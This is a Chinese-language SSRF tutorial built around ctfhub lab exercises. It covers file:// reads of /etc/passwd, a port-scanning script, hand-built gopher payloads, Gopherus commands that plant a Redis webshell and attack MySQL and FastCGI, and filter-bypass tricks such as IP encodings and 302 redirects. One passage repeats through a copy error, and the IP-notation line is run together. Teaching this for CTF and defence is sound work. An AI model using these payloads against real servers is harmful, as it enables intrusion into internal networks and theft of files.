什么是ssrf

SSRF (Server-Side Request Forgery) 即服务端请求伪造,从字面意思上理解就是伪造一个服务端请求,也即是说攻击者伪造服务端的请求发起攻击,攻击者借由服务端为跳板来攻击目标系统。

既然是跳板,也就是表明攻击者是无法直接访问目标服务的,为了让大家更好的理解这个过程,我从网上找了一张图,贴在了下面。

一句话总结:

控制服务端使用指定协议访问指定的url。让对方主机去访问我们访问不到的url,拿到我们本来拿不到的数据

漏洞利用条件

1 对方能帮我访问url,服务端有接受url地址并进行访问的功能

2 url地址外部可控

SSRF的利用面

任意文件读取

前提是知道要读取的文件名,然后再使用file://协议读取文件一句话总结:

控制服务端使用指定协议访问指定的url。让对方主机去访问我们访问不到的url,拿到我们本来拿不到的数据

漏洞利用条件

1 对方能帮我访问url,服务端有接受url地址并进行访问的功能

2 url地址外部可控

SSRF的利用面

任意文件读取

前提是知道要读取的文件名,然后再使用file://协议读取文件

做题时,如果可以读文件,可以尝试直接蒙flag文件名。

实战情况下,我们还能用读/etc/hosts来获取当前主机的ip。权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

得到主机内网地址就可以进行后续的探测内网资源了

探测内网资源

端口扫描

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,我们可以使用py写一个脚本发请求,或者使用bp爆破。

我们拿一道例题来演示:ctfhub技能树ssrf端口扫描

打开题目url为:

http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url=

我们使用dict协议+burp爆破

爆破结果8699端口返回长度不同

我们访问,拿到flag

下面是一个简单的python探测脚本(这个脚本只针对这道题,具体环境具体修改)

import requests
 
url = 'http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url='
for port in range(8650, 9001):
    url_1 = url + "127.0.0.1:" + str(port)
    #print(url_1)
    res = requests.get(url_1)
    if "ctfhub" in res.text:
        print(port, res.text)

主机扫描

可以通过访问/etc/hosts获取所在网段,然后进行c段扫描

使用gopher协议扩展我们的攻击面

什么是gopher协议

gopher协议

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

gopher协议在各个编程语言中的使用限制

--wite-curlwrappers:运用curl工具打开url流
curl使用curl --version查看版本以及支持的协议

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

gopher发送请求

GET

那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:

  • 构造HTTP数据包

  • URL编码、替换回车换行为%0d%0a

  • 发送gopher协议

这里使用一个PHP的代码演示,如下:

<?php
    echo "Hello ".$_GET["name"]."\n"
?>

构造一个GET请求数据包

GET /ssrf/base/get.php?name=Caigo HTTP/1.1
Host: 192.168.0.109

url编码后

curl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Caigo%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A

在转换为URL编码时候有这么几个坑

  • 问号(?)需要转码为URL编码,也就是%3f

  • 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a

  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

POST

演示代码

<?php
    echo "Hello ".$_POST["name"]."\n"
?>

请求包(4个参数为必要参数)

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=Caigo

url编码后

curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Caigo%0d%0A

手工生成太麻烦了,大多数情况下还是使用工具生成,做个了解就行

gopherus使用

Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload

目前支持生成payload应用有:

  • MySQL (Port:3306)

  • FastCGI (Port:9000)

  • Memcached (Port:11211)

  • Redis (Port:6379)

  • Zabbix (Port:10050)

  • SMTP (Port:25)

Redis未授权+gopher

例题:ctfhub技能树ssrf_Redis

dict探测到redis

使用gopherus生成poc,shell选php的其他默认,会在网站根目录生成shell.php文件,密码是cmd

python2 gopherus.py --exploit redis

默认生成的poc好像有些问题,建议自己写一句话木马

mysql未授权+gopher

前提;mysql无密码,知道用户名,比如root
python2 gopherus.py --exploit mysql

php-fpm

php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问.要负责对.php文件的代码解释执行  

我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码

向9000端口发送php执行请求

python2 gopherus.py --exploit fastcgi

它这个文件要选择确定存在的文件,默认的文件可能不存在,会导致命令无法执行

SSRF过滤绕过

通过我们前面的内容,可以得知只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址,就可以杜绝ssrf

利用Enclosed alphanumerics绕过

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

使用IP地址进制转换

127.0.0.1用不同进制可以表示为

2130706433 10进制 http://2130706433  017700000001 8进制 http://0177000000017F000001 16进制 http://0x7F000001

特殊语法绕过

  • Windows 下 0 代表的是0.0.0.0

  • 而Linux 下 0 代表的是127.0.0.1

  • 127.0.0.1 可以省略为 127.1

  • 127。0。0。1 可以替代127.0.0.1

302跳转

如果对方环境接受302跳转,并且跟进302跳转

可以发送http的协议。但是返回的location为其他协议

#302.php
<?php 
header("Location:file:///etc/passwd");
//我们需要将这个php文件放在公网上,拼接到url访问,就能实现302跳转
//payload:?url=http://[公网IP]/302.php

利用短网址绕过

比如说要访问baidu.com  但是题目不允许出现baidu字符

或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

原理就是302跳转,在线网站:http://rurl.vip/eW7AU

@符号绕过

比赛中可能会存在白名单,一定要请求某个IP或域名的情况,这个时候在url后面跟上@符号,浏览器会访问@后面的域名或ip

http://www.xxx.com@www.baidu.com/

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。